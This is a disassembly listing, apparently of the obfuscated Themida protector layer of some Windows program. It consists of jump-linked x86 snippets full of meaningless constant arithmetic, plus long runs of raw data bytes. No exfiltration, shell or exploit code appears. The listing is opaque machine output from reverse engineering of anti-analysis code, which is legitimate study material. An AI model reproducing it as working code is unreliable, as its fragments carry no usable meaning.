		dd 4C681h, 0B8500000h, 2, 48BC601h, 4C48324h, 0E9E28952h
		dd 0F67Eh, 0B5E58158h, 686BB27Ah, 6039h, 0BB241C89h, 21A6B72h
		dd 0FFFFC381h, 8E9FFFFh, 8BFFFFECh, 0C483240Ch,	0B9E6804h
		dd 0A1E90000h, 0FF000004h, 20E92434h, 89000097h, 3C68242Ch
		dd 54000061h, 8124048Fh, 42404h, 815D0000h, 4C5h, 0EC815000h
		dd 4, 6DCCE9h
		db 0
; ---------------------------------------------------------------------------


loc_5638C5:				; CODE XREF: Themida_:005623C7j
		mov	ecx, 3DB97D24h
		jmp	loc_567183
; ---------------------------------------------------------------------------
		db 89h
		dd 38E95AD6h, 81000126h, 70D73AEDh, 8E3BE9F6h, 74310000h
		dd 15E90424h, 81000077h, 717E17C7h, 0F3BBE912h,	0E959FFFFh
		dd 9241h, 4C381h, 0C3810000h, 4, 5C241C87h, 2D4EEB81h
		dd 0EB81236Ch, 7E3E5B05h, 0C381FB29h, 7E3E5B05h, 2D4EC381h
		dd 3C8B236Ch, 0E0895024h, 1019E957h, 0E95A0001h, 0FFFFEFA5h
		dd 4877F581h, 0E981D01Dh, 12B75BC0h, 48E9B850h,	0D0F76F2Ah
		dd 4EC81h, 4890000h, 240CFF24h,	73880558h, 0F3352AE7h
		dd 0C12F8F47h, 0CB3503E0h, 29B0FE28h, 0C18158C1h, 7BDC0082h
		dd 0E981E929h, 7BDC0082h, 4710E9h
		db 0
; ---------------------------------------------------------------------------


loc_563981:				; CODE XREF: Themida_:0056474Cj
		mov	edi, esi
		pop	esi
		jmp	loc_5707D0
; ---------------------------------------------------------------------------
		db 59h,	68h, 0
		dd 0E9000000h, 619Ah
; ---------------------------------------------------------------------------


loc_563994:				; CODE XREF: Themida_:0056B107j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		push	736E0A67h
		push	dword ptr [esp]
		pop	ecx
		push	edi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		sub	esp, 4
		mov	[esp], esi
		push	4
		pop	esi
		add	edi, esi
		mov	esi, [esp]
		push	eax
		jmp	loc_57424C
; ---------------------------------------------------------------------------


loc_5639D3:				; CODE XREF: Themida_:0056D1B9j
		push	4
		pop	eax
		sub	edi, eax
		jmp	loc_574B9E
; ---------------------------------------------------------------------------
		dd 242C8759h, 240C895Ch, 8904EC83h, 7E68241Ch, 5B701813h
		dd 6D9FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5639F9:				; CODE XREF: Themida_:0056186Cj
		neg	ebx
		add	ebx, 9C1C6F05h
		jmp	loc_56EB1B
; ---------------------------------------------------------------------------
		dw 0E957h
		dd 12D0Dh, 3B4BE981h, 28E97E8Fh, 680000A3h, 2208h, 54241489h
		dd 4C2815Ah, 83000000h,	143304C2h, 24143124h, 5C241433h
		dd 0D629C781h, 0F8893E2Ch, 10C3DE9h, 0E9CB2900h, 83E4h
		dd 2434FF58h, 0E924048Bh, 0FFFFDF8Ah, 8124148Bh, 4C4h
		dd 0E9FE0100h, 0FFFFFC95h, 8E2C158h, 0FFFFEA81h, 3EE9FFFFh
		dd 10000D3h, 34FF5BDDh,	2434FF24h, 3503E9h, 5BD90100h
		dd 0FDE7E9h
		db 0
; ---------------------------------------------------------------------------


loc_563A89:				; CODE XREF: Themida_:00565D57j
		or	eax, eax
		jz	loc_570D54
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_56B0DF
; ---------------------------------------------------------------------------


loc_563AA2:				; CODE XREF: Themida_:0056AEA7j
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_56913C
; ---------------------------------------------------------------------------
		db 5Bh,	4Bh, 0C1h
		dd 0B85005EBh, 3AC1ED0Dh, 8958C331h, 0B9E95BDAh, 5100012Dh
		dd 0C85B55B9h, 5CC1817Eh, 819A81DEh, 0E852CAEAh, 81CA0125h
		dd 0E852CAC2h, 67E95925h, 83000021h, 48904ECh, 11176824h
		dd 29587582h, 0E9042444h, 0FFFFFF50h
; ---------------------------------------------------------------------------


loc_563AF8:				; CODE XREF: Themida_:00573186j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	eax
		mov	eax, 17F313F3h
		push	eax
		push	7A84h
		mov	[esp], eax
		jmp	loc_566287
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8324h, 89240489h,	0BCE951E0h, 0C10000D9h,	3BE905EFh
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563B33:				; CODE XREF: Themida_:00567EB1j
		mov	edi, ecx
		mov	ebp, edi
		jmp	loc_5700BA
; ---------------------------------------------------------------------------
		dd 1203EE81h, 0DE014393h, 1203C681h, 0EE814393h, 5AB42756h
		dd 51241C8Bh, 0C181E189h, 4, 4C181h, 0C870000h,	0FF565C24h
		dd 0FF042474h, 565E2434h, 0C681E689h, 4, 5AE1E951h, 80580000h
		dd 0D1F6A1E9h, 6AE9D9F6h, 8100007Ah, 6E39A9C7h,	5FFA293Fh
		dd 69E5E9h, 2EEC100h, 0E902EEC1h, 37DBh, 212B850h, 68570485h
		dd 2F7F0B3Bh, 0E9243C8Bh, 0B78Dh
; ---------------------------------------------------------------------------


loc_563BB8:				; CODE XREF: Themida_:00569D32j
		push	dword ptr [esp]
		jmp	loc_566BEA
; ---------------------------------------------------------------------------


loc_563BC0:				; CODE XREF: Themida_:00568D12j
		mov	[esp], ecx
		push	esi
		mov	esi, 1A05ACBh
		jmp	loc_5721EE
; ---------------------------------------------------------------------------
		dw 0F681h
		dd 17EA4C7Fh, 348BF201h, 4C48324h, 8124048Bh, 4C4h, 0C0CCE900h
		dd 0C2810000h, 4B5F4C04h, 0DE9CA01h
		db 88h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563BF7:				; CODE XREF: Themida_:00565694j
		pop	ebx
		add	esi, eax
		pop	eax
		and	eax, esi
		jmp	loc_56B6D0
; ---------------------------------------------------------------------------
aZsV		db 'Zé±V',0
		align 4
a3Sn		db '3,$\éN»',0
		dd 2474FF00h, 24148B04h, 4C481h, 48F0000h, 34895C24h, 2474FF24h
		dd 92E95E04h, 10000B4h,	21A62DD0h, 0BE564E21h, 2CF33EEBh
		dd 5D99E681h, 0BBE94365h
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563C47:				; CODE XREF: Themida_:00570FC8j
		pop	ecx
		and	edx, ebp
		pop	ebp
		or	edx, 581847DAh
		add	edx, 76C1710h
		add	edi, edx
		pop	edx
		add	edi, edx
		sub	edi, 5F845EEEh
		jmp	loc_5766A9
; ---------------------------------------------------------------------------
		db 81h
		dd 280708EAh, 93E9425Eh, 0E9FFFFD5h, 0FFFFD3CAh, 8704C783h
		dd 248B243Ch, 4C18124h,	83000000h, 0B4E904ECh
		db 0C3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_563C8F:				; CODE XREF: Themida_:00571A54j
		pop	eax
		add	esp, 4
		push	ebx
		jmp	loc_56912A
; ---------------------------------------------------------------------------


loc_563C99:				; CODE XREF: Themida_:00563D1Dj
		pop	edi
		or	eax, 55106584h
		shl	eax, 4
		shr	eax, 3
		xor	eax, 0FB4DBC8h
		jmp	loc_576B13
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4, 0E902C583h, 0FFFFFA72h
; ---------------------------------------------------------------------------


loc_563CC0:				; CODE XREF: Themida_:0056ADB0j
		or	esi, 793674BBh
		sub	esi, 6B955EDFh
		add	ebx, esi
		pop	esi
		neg	ebx
		shr	ebx, 8
		jmp	loc_5660AB
; ---------------------------------------------------------------------------
		db 0F7h, 0D2h, 81h
		dd 0BE196EE2h, 21F28101h, 0E97412A1h, 7BE4h, 835AC304h
		dd 148904ECh, 4EC8124h,	89000000h, 0C1E9241Ch, 89000055h
		dd 0B951241Ch, 325142A6h, 2511E9h, 0D32CE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563D16:				; CODE XREF: Themida_:0056A1E3j
		add	eax, edi
		add	eax, 70620F5h
		jmp	loc_563C99
; ---------------------------------------------------------------------------
		dw 4BDh
		dd 1000000h, 0F2D9E9EBh, 2BE0000h, 0E9000000h, 0FFFFE982h
		dd 0BA241489h, 2D3325A8h, 5505EAC1h, 9773E4BDh,	1220E9E0h
		dd 81550001h, 7CE42434h, 348B5EF1h, 4C48124h, 51000000h
		dd 0FFD761E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563D65:				; CODE XREF: Themida_:0056C83Fj
		add	edi, 4
		add	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_57672A
; ---------------------------------------------------------------------------
		dd 54243489h, 4C6815Eh,	83000000h, 3C8904ECh, 4685024h
		dd 8B000000h, 0C4812404h, 4, 89C38953h,	0AF2FE9DFh, 0C7830000h
		dd 243C8704h, 21C3685Ch, 34890000h, 4BE24h, 0F3010000h
		dd 241C335Eh, 0EF8BE9h,	4CB95100h, 31B2CBBCh, 0E95559CDh
		dd 0D208h, 0F63CE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563DDA:				; CODE XREF: Themida_:0056C4DBj
		pop	edi
		jmp	loc_5707C5
; ---------------------------------------------------------------------------
aIsS		db '‰é]é',8,'Ê',0
		align 4
		dd 5D2434FFh, 4C481h, 0C7090000h, 0C8BE5658h, 31721C74h
		dd 0F3E95EF7h
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_563E03:				; CODE XREF: Themida_:00566B8Ej
		or	ebp, 7C342300h
		jmp	loc_5642E9
; ---------------------------------------------------------------------------


loc_563E0E:				; CODE XREF: Themida_:0056C251j
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_56CDF4
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 13E95724h, 66FFFFE0h, 0E9E0D05Ah, 0D7F8h
; ---------------------------------------------------------------------------


loc_563E30:				; CODE XREF: Themida_:0056B0EBj
		push	10CEh
		mov	[esp], ecx
		jmp	loc_5677FB
; ---------------------------------------------------------------------------
		db 81h,	0F7h, 1Ah
		dd 0E925514Eh, 0FFFFD893h
; ---------------------------------------------------------------------------


loc_563E48:				; CODE XREF: Themida_:00564279j
		add	edx, 4
		jmp	loc_56D3F6
; ---------------------------------------------------------------------------
		db 0BFh
		dd 788E2799h, 10A7BE9h,	0B4E95900h
		db 0E9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_563E63:				; CODE XREF: Themida_:0056CD1Dj
		add	esp, 4
		pop	edx
		jmp	loc_5663F9
; ---------------------------------------------------------------------------
		db 81h
		dd 9E1ED0EDh, 84C5813Ah, 159A414h, 84ED81F5h, 8159A414h
		dd 9E1ED0C5h, 2C335E3Ah, 242C3124h, 5913E9h
		db 0
; ---------------------------------------------------------------------------


loc_563E95:				; CODE XREF: Themida_:0057245Cj
		push	ebp
		jmp	loc_57223C
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483242Ch, 0B361E904h, 59580000h, 5A2434FFh, 5004C483h
		dd 0C288D888h, 55C5E9h,	9CCF8100h, 0E96C567Ch, 880Bh, 0E700C9B7h
		dd 9BF0E9h
		db 0
; ---------------------------------------------------------------------------


loc_563ECD:				; CODE XREF: Themida_:0056911Aj
		xor	ecx, [esp]
		jmp	loc_57206F
; ---------------------------------------------------------------------------
		db 0C1h, 0E9h, 4
		dd 1246E9h
		db 0
; ---------------------------------------------------------------------------


loc_563EDD:				; CODE XREF: Themida_:00575F5Fj
		add	ebx, 4
		jmp	loc_56C9FB
; ---------------------------------------------------------------------------


loc_563EE8:				; CODE XREF: Themida_:005749AEj
		xor	[esp], edi
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, ebx
		xor	ebx, edi
		jmp	loc_5750D0
; ---------------------------------------------------------------------------
aXhys		db 'XhYs',0
		align 10h
aSi_0		db 'é›Ë',0
		db 0
; ---------------------------------------------------------------------------


loc_563F05:				; CODE XREF: Themida_:00568C5Fj
		xor	edx, ebp
		jmp	loc_575225
; ---------------------------------------------------------------------------
		dd 8B5DE829h, 0C481243Ch, 4, 0AEBA5250h, 0E91FFE18h, 0D090h
		dd 9EE981h, 7CE933FEh
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_563F2F:				; CODE XREF: Themida_:005698B2j
		add	ebx, edx
		jmp	loc_561458
; ---------------------------------------------------------------------------


loc_563F36:				; CODE XREF: Themida_:005676F8j
		push	edx
		push	6E18h
		mov	[esp], esi
		jmp	loc_571B6F
; ---------------------------------------------------------------------------
		dd 78FEF181h, 680003h, 89000035h, 9E9241Ch
		db 0E6h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_563F57:				; CODE XREF: Themida_:00568024j
		mov	[esp], ebx
		push	edx
		push	45456FCBh
		pop	edx
		sub	edx, 687D002Ch
		jmp	loc_56FE41
; ---------------------------------------------------------------------------


loc_563F6C:				; CODE XREF: Themida_:005690F9j
		pop	esp
		push	edx
		mov	edx, 1B7F28BCh
		shl	edx, 2
		add	edx, 0B7F3C7B5h
		add	esi, 1F8B0A75h
		add	esi, edx
		sub	esi, 1F8B0A75h
		jmp	loc_574A13
; ---------------------------------------------------------------------------
		db 57h
		dd 0DDB7C1BFh, 8BF901D1h, 0EBE9243Ch
		db 0C2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_563F9F:				; CODE XREF: Themida_:005640ABj
		mov	eax, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 51637C47h
		push	7B91h
		jmp	loc_56E538
; ---------------------------------------------------------------------------
		dw 0E95Eh
		dd 146Dh, 2B60F66h, 119EAE9h, 0E9D30000h, 2E1Ah, 240C8B66h
		dd 4EC81h, 0C890000h, 4EC8324h,	83242489h, 59042404h, 4C181h
		dd 81550000h, 4ECh, 0FD09E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563FFA:				; CODE XREF: Themida_:0056D3F9j
		pop	esp
		push	eax
		mov	eax, 1EFE13FAh
		shr	eax, 7
		jmp	loc_5681E3
; ---------------------------------------------------------------------------


loc_564009:				; CODE XREF: Themida_:005761E0j
		mov	[esp], edx
		jmp	loc_575C8E
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 83000000h, 348704EEh, 21E95C24h, 0C1FFFFEFh,	0EA2D07E0h
		dd 0E90E4F28h, 64E8h
; ---------------------------------------------------------------------------


loc_564030:				; CODE XREF: Themida_:00566BB3j
		xor	edi, 9B0235Ah
		add	edi, 0D867E5CBh
		xor	edi, 4BC24448h
		add	ecx, edi
		jmp	loc_56CFF9
; ---------------------------------------------------------------------------


loc_564049:				; CODE XREF: Themida_:00566E9Dj
		mov	[esp], esp
		jmp	loc_566E7D
; ---------------------------------------------------------------------------
		db 0BBh, 3, 4Ah
		dd 0A6E93E78h, 810000F5h, 4C1h,	5C006800h, 2C890000h, 0D174E924h
		dd 0B468FFFFh, 89000077h, 4812424h, 424h, 0C3A2E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_564082:				; CODE XREF: Themida_:005706CBj
		add	edi, 4
		jmp	loc_5740E3
; ---------------------------------------------------------------------------


loc_56408D:				; CODE XREF: Themida_:00575778j
		mov	[esp], ecx
		push	5C487DA9h
		pop	ecx
		push	ebx
		mov	ebx, 44647C6Ch
		sub	ecx, 1E310BACh
		sub	ecx, ebx
		add	ecx, 1E310BACh
		pop	ebx
		jmp	loc_563F9F
; ---------------------------------------------------------------------------
		dd 0B60F6664h, 0E7895702h, 3534E9h, 60BE5600h, 875DC50Ch
		dd 87D5F7EEh, 81DEF7EEh, 0D17929EEh, 3BF68163h,	0F737D148h
		dd 73BB53D6h, 814C7F7Eh, 28BBCDF3h, 0E9DE2982h,	70A7h
		dd 438BC381h, 0C3817269h, 36112FDh, 5914C381h, 0C32978B5h
		dd 2535BA52h, 0EAC17F6Ch, 81D2F702h, 54B1CE2h, 8EAC114h
		dd 586EC281h, 0F0E9273Bh
		db 0D4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56411F:				; CODE XREF: Themida_:00561763j
		push	ebp
		jmp	loc_56B172
; ---------------------------------------------------------------------------
		db 5Ch,	89h, 14h
		dd 4EC8124h, 89000000h,	76BE2434h, 6879C04Ah, 490Dh, 68243C89h
		dd 0
		dd 0E9F7295Fh, 7FFEh, 24048B66h, 5A8C68h, 242C8900h, 9981E9h
		db 0
; ---------------------------------------------------------------------------


loc_56415D:				; CODE XREF: Themida_:0056E3EDj
		mov	ecx, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_56D41D
; ---------------------------------------------------------------------------


loc_56416E:				; CODE XREF: Themida_:0056CA2Dj
		add	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		jmp	loc_56C9F4
; ---------------------------------------------------------------------------
		dw 8959h
		dd 0EA815DEBh, 22F33B4Ah, 45FABF57h, 3DE970D0h,	830000E7h
		dd 3C8904ECh, 3C8B5424h, 4C48124h, 56000000h, 0C681E689h
		dd 4, 8704EE83h, 248B2434h, 55A7E924h, 87E90000h, 1FFFFCEh
		dd 4CC8E9C3h, 0F2310000h, 79CEE95Eh, 18B90000h,	215B9F3Fh
		dd 0EB8159CBh, 1B070714h, 35E9E9h
		db 0
; ---------------------------------------------------------------------------


loc_5641DD:				; CODE XREF: Themida_:0056E523j
		sub	edx, 220D2A19h
		pop	ebp
		jmp	loc_5636C0
; ---------------------------------------------------------------------------
		db 5Eh,	1, 0E8h
aRh		db ']Rhœ',0
aUZbtknx?wBdqms	db 'î{ZâªNX?W¿DŸMéÚÖ',0
		dd 0DEA8100h, 16EC27Ah,	0DC281EAh, 8B6EC27Ah, 8953242Ch
		dd 4C381E3h, 81000000h,	4C3h, 241C8700h, 5D74E95Ch, 4330000h
		dd 24043124h, 0FFCE09E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564239:				; CODE XREF: Themida_:0056D1C2j
		mov	cl, 7Fh
		jmp	loc_56EBD8
; ---------------------------------------------------------------------------
		dd 405h, 4C08300h, 8B240487h, 0EFE92424h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564253:				; CODE XREF: Themida_:00562852j
		sub	eax, esi
		jmp	loc_576A29
; ---------------------------------------------------------------------------


loc_56425A:				; CODE XREF: Themida_:00562365j
		pop	ebx
		jmp	loc_56D80E
; ---------------------------------------------------------------------------


loc_564260:				; CODE XREF: Themida_:00566021j
		pop	eax
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		jmp	loc_563E48
; ---------------------------------------------------------------------------


loc_56427E:				; CODE XREF: Themida_:00566034j
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp]
		pop	eax
		push	42D6h
		mov	[esp], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		jmp	loc_56BD09
; ---------------------------------------------------------------------------
		db 81h,	6Ch, 24h
		dd 7830AA04h, 34FF5A1Eh, 8947E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5642BA:				; CODE XREF: Themida_:0056988Dj
		add	ebx, eax
		pop	eax
		mov	edx, [esp]
		push	5233h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_562606
; ---------------------------------------------------------------------------


loc_5642DB:				; CODE XREF: Themida_:00564AEEj
		xor	ebx, [esp]
		jmp	loc_571FD3
; ---------------------------------------------------------------------------
aRsod		db 'Réod',0
		db 0
; ---------------------------------------------------------------------------


loc_5642E9:				; CODE XREF: Themida_:00563E09j
		push	edi
		push	ebp
		push	75B62E0Ah
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 64E20AF2h
		add	ebp, 9544E952h
		mov	edi, ebp
		jmp	loc_57333D
; ---------------------------------------------------------------------------
		dd 0A4C38158h, 590B6D14h, 652D68h, 241C8900h, 2028E9h
		db 0
; ---------------------------------------------------------------------------


loc_564321:				; CODE XREF: Themida_:0056F9DBj
		push	11C2h
		mov	[esp], ebx
		jmp	loc_570CBA
; ---------------------------------------------------------------------------
		dw 0FF53h
		dd 5B042474h, 14E3E9h, 24048900h, 67685854h, 0E9000073h
		dd 0B7DBh, 51E9C788h
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56434F:				; CODE XREF: Themida_:0056E90Bj
		push	cx
		mov	ch, 0FFh
		sub	bl, 81h
		add	bl, ch
		add	bl, 81h
		pop	cx
		neg	bl
		add	bl, 14h
		xor	al, bl
		jmp	loc_575503
; ---------------------------------------------------------------------------
		db 68h,	0BCh, 0Ah
		dd 28E93A79h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564373:				; CODE XREF: Themida_:0056996Dj
		and	ebp, 1A9910E7h
		jmp	loc_570098
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 4C48124h, 0E9000000h, 9432h,	4C381h,	0EB810000h, 4
		dd 5C241C87h, 4FBFE9h, 60685900h, 8900001Eh, 5B54241Ch
		dd 36CD68h, 24048900h, 674EE9h
		db 0
; ---------------------------------------------------------------------------


loc_5643B9:				; CODE XREF: Themida_:0056AD88j
		add	edi, 0DFDEAC7Dh
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, 7C1119FFh
		sub	eax, ebp
		push	edx
		mov	edx, 7C1119FFh
		sub	eax, edx
		jmp	loc_56ADD7
; ---------------------------------------------------------------------------
		db 57h
		dd 0A42FDCBFh, 8BFE215Eh, 0C481243Ch, 4, 0CC5DE950h, 0D3010000h
		dd 2F45E95Ah
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5643FA:				; CODE XREF: Themida_:00575132j
		pop	esi
		jmp	loc_567CA8
; ---------------------------------------------------------------------------
		dd 8004E2C0h, 0D0006DEAh, 52F0005Ah, 0C28099B2h, 0E420E91Dh
		dd 0EA810000h, 54137BB7h, 0C462F281h, 0D101DEFDh, 9210E95Ah
		dd 0A2680000h, 89000049h, 78BB241Ch, 1664D0Dh, 0C1815BD9h
		dd 7D283A11h, 4104E1C1h, 5895C981h, 0BE565EDCh,	0B4B70B02h
		dd 0CFE9F131h, 0BD000039h, 0BF13ECBh, 0CD81D5F7h, 32057936h
		dd 638EC581h, 0CAE93385h, 0AD000001h, 0EC81D831h, 4, 51243C89h
		dd 0D08EE953h, 0C890000h, 83E18924h, 348904ECh,	660CBE24h
		dd 0BF575DF9h, 5B8E76FDh, 2685CF81h, 0CF812504h, 3F1E4F40h
		dd 0C147EFD1h, 6BE906E7h, 590000C4h, 2BD55h, 0EF010000h
		dd 821E95Dh, 8B660001h,	13682404h, 89000015h, 0DEE92414h
		dd 68000005h, 5920h, 50241489h,	847B08B8h, 0FCBB5302h
		dd 0E9FD7B84h, 9BA8h
; ---------------------------------------------------------------------------


loc_5644E8:				; CODE XREF: Themida_:00570552j
		mov	esi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 54A2405Ch
		add	eax, 0AB5DBFA8h
		add	esi, eax
		pop	eax
		jmp	loc_574933
; ---------------------------------------------------------------------------
		db 81h
		dd 63E1D8C6h, 5EF23115h, 2593F281h, 0D7E94EF2h,	890000E5h
		dd 30E9241Ch
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_564523:				; CODE XREF: Themida_:00574510j
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	ebx
		push	3717h
		mov	[esp], esi
		jmp	loc_569606
; ---------------------------------------------------------------------------


loc_564538:				; CODE XREF: Themida_:0056BD04j
		mov	[esp], edx
		mov	edx, 0CFC2BDFAh
		sub	ebp, edx
		pop	edx
		push	ebp
		pop	ebx
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		pop	edi
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_575959
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 75344A5Eh, 815AD331h, 1F7F13C7h, 81DF0124h, 1F7F13EFh
		dd 2434FF24h, 6EEF685Bh, 3C890000h, 81E78924h, 4C7h, 4C78100h
		dd 33000000h, 3C31243Ch, 243C3324h, 9D33E95Ch, 0E5800000h
		dd 76ED80EFh, 3057B252h, 0E9535AD5h, 49B3h, 0FFCA8DE9h
		dd 0A187BFFFh, 0C72975F6h, 1EEF8158h, 1496C5Ch,	0CD33E9FDh
		dd 3040000h, 32CD828h, 25C6E9h,	4C18100h, 83000000h, 0A5E904C1h
		db 51h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5645E3:				; CODE XREF: Themida_:00573AB0j
		push	esi
		jmp	loc_56263A
; ---------------------------------------------------------------------------
aUhRZMb		db 'UhÑR>z]MÅ',7,0
		db 0CAh, 0FFh, 0E9h
		dd 0FFFFE8CFh, 2F15BB53h, 6ABF7305h, 1F3810Dh, 0C1475BDFh
		dd 0C5E905EFh, 660000CFh, 0E924048Bh, 0DFD3h, 4EC81h, 14890000h
		dd 89C28924h, 0A106E9D7h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56462E:				; CODE XREF: Themida_:00566DB9j
		push	esi
		mov	esi, 2E6A724Fh
		jmp	loc_571B80
; ---------------------------------------------------------------------------
		db 29h,	0EEh, 5Dh
		dd 0EE81DEF7h, 1C6A9339h, 4380C781h, 0F701691Fh, 4380EF81h
		dd 555E691Fh, 10BA8E9h,	0A8C78100h, 8B5E7D61h, 0C4812434h
		dd 4, 28E9FB29h, 0AD0000ACh, 4968D831h,	89000057h, 91E9240Ch
		dd 810000FDh, 0FB47C7C2h, 0F245E99Eh, 0BE56FFFFh, 6CA72590h
		dd 26F6814Eh, 2971A124h, 0BD555EF0h, 2AF051DBh,	0A3E9E801h
		dd 8900002Eh, 4B951E2h,	1000000h, 0E17BE9CAh, 489FFFFh
		dd 34D9E924h, 248B0000h, 52F9F724h, 0BF575A54h,	61957FB8h
		dd 3989F781h, 0E9566C74h, 2998h, 0ED834D5Eh, 2420E901h
		dd 0E9520000h, 10374h
; ---------------------------------------------------------------------------


loc_5646E8:				; CODE XREF: Themida_:00564BCDj
		pop	edx
		dec	al
		xor	al, 0D0h
		jmp	loc_565572
; ---------------------------------------------------------------------------
		dw 2B68h
		dd 0E9000012h, 3E65h
; ---------------------------------------------------------------------------


loc_5646FC:				; CODE XREF: Themida_:00566E78j
		pop	ebx
		add	cl, 1Eh
		sub	al, cl
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edx
		mov	edx, 4CC33BBDh
		dec	edx
		sub	esp, 4
		jmp	loc_5707A2
; ---------------------------------------------------------------------------
		dd 6851C780h, 17C0h, 51240489h,	51662CB1h, 662414F6h, 78F18059h
		dd 0B4E9C888h
		db 0D1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_56473F:				; CODE XREF: Themida_:00575426j
		neg	edi
		shl	edi, 6
		push	esi
		mov	esi, 0
		sub	esi, edi
		jmp	loc_563981
; ---------------------------------------------------------------------------
		db 89h,	0C2h, 58h
		dd 0F210559h, 0D001043Fh, 3F0F212Dh, 24148B04h,	0E904C483h
		dd 0FFFFD3ECh, 5A4568h,	242C8900h, 9C96E9h, 62EE8100h
		dd 0C1194B62h, 0F68102EEh, 79E6ED59h, 348BF031h, 4C48124h
		dd 5000000h, 2E9A2397h,	3818C70Dh, 5E8C16Fh, 0FFEDD6E9h
		dd 52C280FFh, 5A5AD028h, 2702E952h, 0F0310000h,	0D0F7C631h
		dd 0F031C631h, 0E952C631h, 10EECh
; ---------------------------------------------------------------------------


loc_5647C4:				; CODE XREF: Themida_:0056D961j
		add	ebx, 0C05243C8h
		shl	ebx, 5
		jmp	loc_57365C
; ---------------------------------------------------------------------------
		dw 8150h
		dd 444C2404h, 0C8E90BAEh
		db 0FAh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5647DF:				; CODE XREF: Themida_:0056D3E4j
		dec	ecx
		add	ecx, 0C21145FBh
		add	eax, ecx
		pop	ecx
		add	ebp, eax
		pop	eax
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	edx
		mov	edx, 49B60B92h
		mov	eax, 0B649F472h
		jmp	loc_56796F
; ---------------------------------------------------------------------------
		db 2Dh,	59h, 0F6h
		dd 0C289F07Dh, 5521E958h, 5E540000h, 4C681h, 0C6810000h
		dd 4, 5C243487h, 4EC81h, 7FE90000h, 0B70000B8h,	0ACF780B8h
		dd 885BFA88h, 0FAE95AD1h, 520000D8h, 9F325EBAh,	0FFD52107h
		dd 815A2434h, 4C4h, 0A4FAE900h,	0C1810000h, 570643Dh, 4C1835Dh
		dd 0E904EC83h, 3A09h, 8035EA80h, 0B0501DCAh, 0FEC0FE05h
		dd 343004C0h, 0C304D3h,	0B7E958C2h, 580000DEh, 0E7895757h
		dd 0CDE9E9h, 87C58100h,	1714D15h, 87ED81C5h, 58714D15h
		dd 0E5069305h, 2DE80110h, 10E50693h, 0E92434FFh, 0E7BDh
; ---------------------------------------------------------------------------


loc_5648B4:				; CODE XREF: Themida_:005619D9j
		mov	esp, [esp]
		push	53FFh
		mov	[esp], esi
		mov	esi, esp
		push	ebx
		jmp	loc_569EE0
; ---------------------------------------------------------------------------
		db 59h
		dd 1032DE9h, 2434FF00h,	0FFFFB2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5648D5:				; CODE XREF: Themida_:00564EFBj
		push	ebp
		mov	ebp, 3A444A3Ah
		jmp	loc_56B2DA
